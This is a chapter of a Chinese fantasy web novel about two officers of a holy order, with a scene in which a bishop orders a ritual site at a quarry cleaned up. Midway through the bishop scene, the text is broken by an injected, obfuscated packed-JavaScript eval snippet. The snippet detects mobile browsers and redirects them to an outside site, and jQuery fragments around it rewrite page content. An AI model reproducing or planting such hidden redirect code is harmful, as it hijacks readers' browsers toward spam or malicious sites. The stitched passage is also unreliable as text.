听见他问,谢寒声猛地从回忆中挣脱出来,像是被烫到一样迅速把手收了回去,从脖子到脸颊瞬间涨得通红,连颈侧那些鳞片周围的皮肤,都透出一层淡淡的粉色。
单议秋觉得这反应特别有意思。
他没退开,反而又伸出手,指尖触碰着谢寒声颈侧那片发红的皮肤,很体贴地避开了鳞片中央那处还没愈合的伤口边缘。
“谢团长——啊,不对,现在该叫谢前团长了,”他声音里有没藏好的笑意,“管好自己的手,可以吗?外面已经流言纷纷了。”
闻言,谢寒声的手指颤了一下。
他抬起眼:“什么流言?”
单议秋终于向后退开些距离,坐回到床边的椅子上,放松地翘起腿。
“传什么的都有。有说咱俩之前就有勾扯的,”他老神在在地说,坦然地迎上谢寒声的视线,“也有说是我单方面喜欢你,现在才这么大方奉献。”
圣庭里私下都未必敢轻易议论的话,就这样被他轻描淡写、坦坦荡荡地说了出来。
谢寒声觉得头又开始疼,他再一次清晰地意识到,眼前这个被众人称颂温和有礼的执法官,骨子里其实离经叛道。
明明刚才还摸人家的腰,仿佛很喜欢的模样,此刻,谢寒声心头却窜起一股混杂着羞恼和更深困惑的情绪。
“……你难道就不怕吗?”他问。
单议秋挑眉:“怕什么?”
谢寒声给不出一个具体的词,只能含糊地比了个手势,试图让对方明白——那些越界的流言,那些暧昧的揣测,还有圣庭随之将会给予的压力。
他和单议秋素昧平生,有关系也是消极关系,单议秋怎么会愿意为他这样冒险?
他的手势,单议秋看懂了。
“我不怕,”他回答干脆,“因为我知道那些不是真的。”
他身体微微前倾,目光锁住谢寒声,“而且,现在这里只有我们两个人。如果这些话有一天传出去了……”
他故意停顿,看着谢寒声的眼睛,一字一顿:“谢寒声,那只能是你的错。”
“你是告密者吗?”
谢寒声:“……”
他被这逻辑堵得一时说不出话,只能瞪着他。
单议秋看着他这副难得吃瘪又无力反驳的样子,眼里的笑意更深了些,没再继续逼问,只是好整以暇地等着他的反应。
再一次被威胁,谢寒声都有点儿习惯了,没生气。
他的注意力更多落在了前半句话上。
“什么叫你知道不是真的?”他问,声音低下去。
“我不相信你异变,是因为你内心怀有他们所说的恶意,”单议秋的回答和之前几次没什么不同,已经开始不耐烦了,“这句话我已经说过很多遍了,谢团长。需要我刻在牌子上,挂到你面前吗?”
他是说过很多遍,但谢寒声从没真正信过,现在他也很难相信。
单议秋有太多张面孔,对着外界是一张,对着圣庭高层是一张,对着此刻的他又是一张。
谢寒声分不清哪一张下面藏着所谓的真实。
沉默了很久之后,他才再次开口,声音沙哑:“莉亚和凯文的事,谢谢你。他们不是太聪明,给你添麻烦了。”
“不用谢,”单议秋实话实说,接受了话题的突然转变,“你也没有很聪明。”
聪明的人不会落到今天这个境地。
谢寒声再次陷入沉默,没有反驳单议秋对他的评价。
其实时至今日,他仍有太多事不明白,像站在一片漫无边际的浓雾里,前后看不清,左右也茫然。
外面有传言,单议秋的声音在回忆中响起,很近,说我单方面喜欢你。
谢寒声的身体又僵了一下。
以前他对单议秋的判断至少有一半是对的:这个人很危险,最好不要招惹。
纷杂的念头像冰冷的蛛丝,缠上来就不肯松。
谢寒声感到一阵细微的战栗从脊椎爬上来,让他有些喘不上气。
他用力闭了下眼睛,再睁开时,那些翻涌的思绪已经被强行压了下去。
不能这样想。至少现在不能。
“你接下来准备怎么办?”谢寒声问。
“我?”
单议秋的目光在他脸上逡巡片刻,语气变得有些难以捉摸:“我准备……带你出去避避风头。”
*
*
厚重的橡木门在身后合拢,隔绝了走廊里弥漫的古老熏香与隐约的诵唱声。
副团长深吸了一口气,压下心头残余的惊悸后,才迈步走进这间光线沉郁的办公室。
空气凝滞,弥漫着陈年羊皮卷、封蜡与熏香混合的气息。
四壁被深色胡桃木书架完全覆盖,直达雕花繁复的天花板,上面塞满了厚重典籍,书脊上的烫金标题在壁炉跳动的火焰映照下幽幽反光。
唯一的光源来自宽大书桌旁一座高大的银制烛台,以及壁炉内跃动的火光。
“主教,”佐文特在离书桌几步远的地方停下,右手抚胸,微微躬身,“您召见我?”
书桌后,莫尔斯主教放下了手中那本边缘已磨损的深红色皮质经书。
他年约五旬,颧骨偏高,深陷的眼窝里嵌着一双颜色极淡,接近银灰的眸子,看人时总带着一种穿透性的审视。稀疏的灰发整齐地梳向脑后,露出宽阔而布满细微纹路的前额。
“都处理干净了吗?”莫尔斯主教问,声音平直得像打磨光滑的石板。
佐文特喉结滚动了一下:“团里……知道些内情的人,都已经遣散,去了该去的地方。只是……那个采石镇……”
他停下讲述,一丝难以掩饰的恐惧攀上眉梢,让他迟迟无法将话说完。
莫尔斯主教缓缓站起身。
他身形瘦高,披着象征其地位的深紫色绣金边长袍,在昏暗光影中像一道移动的阴影。
他走到壁炉边,目光落在跳跃的火焰上。
“佐文特,你是在侍奉神,践行神的意志,”他道,“有什么值得恐惧?难道神会因你虔诚的奉献,而降下责罚吗?”
闻言,佐文特脸上的肌肉抽搐了几下,恐惧、犹豫、最终被一种扭曲的坚定取代。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228788|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他挺直背脊,沉声道:“您放心。我会做好的。”
汇报完此事,他像是卸下一部分重担,又想起另一件烦心事,补充道:“还有,执法团那边,单议秋前几天亲自去默间,把谢寒声提走了。您知道吗?”
“我怎么会不知道?”
莫尔斯主教转过身,眸子里掠过清晰的讥诮与冷意:“释放的公文,还是从我们亲爱的希顿主教那里签发的。一个自身难保、仰人鼻息的废物……”
他摆了摆手,仿佛拂去一只微不足道的飞虫。
“谢寒声不重要。他什么都不知道,现在更是一个被钉穿了脊梁的废人,”主教的声音压低,“眼下最重要的,是停下所有不必要的动作,集中力量,把那个采石场彻底清理干净。既然上次被意外打断,仪式未能完成,那么在吾神真正的力量降临此世之前,不要再有任何轻举妄动。隐匿,等待,清扫痕迹。明白吗?”
佐文特连忙低头应下:“是,我明白。”
当他再次抬起眼时,那双眼睛里已燃起一种近乎狂热的、摒弃了犹豫的光芒。
“若是等到吾神真正降临的那一日……”
莫尔斯主教的脸上,缓缓浮现出一丝与这庄严肃穆房间格格不入的、充满了奇异满足与期盼的笑容。
“若是等到那一日,”他接过了副团长未尽的话,“人世间的所有罪恶与不洁,都将被彻底荡涤。再无苦难,再无偏离正道的恶行。唯有永恒、纯净的秩序与安宁。”
佐文特深深低下头,狂热的光芒在他眼底沉淀为一种冰冷的笃定。“为了那一日的降临,任何代价都是值得的。”
莫尔斯主教微微颔首,银灰色的眼眸重新落回壁炉跃动的火焰上,好像已经透过火光,窥见了那个由绝对秩序与纯净统治的未来。
一时间,房间里只剩下木柴燃烧细微的噼啪声,和那份沉重得令人窒息的期盼。
……
天空是那种化不开的的铅灰色,低低地压下来,如同一块浸透了污水的厚重绒布,蒙住了整个世界。
风吹过来,裹着采石场特有的尘霾味。
视野所及,几乎看不到什么鲜亮的色彩。小镇的建筑歪歪扭扭地趴伏在灰暗的天幕下,全是深浅不一的暗色。
一切都是灰扑扑的,了无生气,连远处山体裸露的岩层,也呈现出一种沉闷的铁灰色。
谢寒声站在小镇边缘一条覆满灰尘的小径上,拉低了兜帽的边缘,目光扫过这片死气沉沉的景象,最后停在远处那些早已废弃的矿坑轮廓上。
他藏在兜帽下的脸上没什么表情,只是唇线抿得有些紧。
“这就是,”他开口,声音透过布料显得有些闷,听不出具体情绪,“你要带我避风头的地方?”
单议秋就站在他身侧半步远的地方,同样简单的深色旅行装束。
他顺着谢寒声的视线望向小镇和矿坑,闻言侧过头,唇角勾起。
“不喜欢吗?”他故意问。
谢寒声觉得很荒谬,沉默了几秒,才从喉咙里挤出一点近乎气音的声音:“……到底什么人会喜欢自己出事的地方?”